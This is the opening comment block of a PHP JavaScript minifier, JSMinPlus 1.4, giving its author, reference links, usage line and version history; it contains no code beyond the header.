/**
* JSMinPlus version 1.4
*
* Minifies a javascript file using a javascript parser
*
* This implements a PHP port of Brendan Eich's Narcissus open source javascript engine (in javascript)
* References: http://en.wikipedia.org/wiki/Narcissus_(JavaScript_engine)
* Narcissus sourcecode: http://mxr.mozilla.org/mozilla/source/js/narcissus/
* JSMinPlus weblog: http://crisp.tweakblogs.net/blog/cat/716
*
* Tino Zijdel <crisp@tweakers.net>
*
* Usage: $minified = JSMinPlus::minify($script [, $filename])
*
* Versionlog (see also changelog.txt):
* 23-07-2011 - remove dynamic creation of OP_* and KEYWORD_* defines and declare them on top
* reduce memory footprint by minifying by block-scope
* some small byte-saving and performance improvements
* 12-05-2009 - fixed hook:colon precedence, fixed empty body in loop and if-constructs
* 18-04-2009 - fixed crashbug in PHP 5.2.9 and several other bugfixes
* 12-04-2009 - some small bugfixes and performance improvements
* 09-04-2009 - initial open sourced version 1.0
*
* Latest version of this script: http://files.tweakers.net/jsminplus/jsminplus.zip
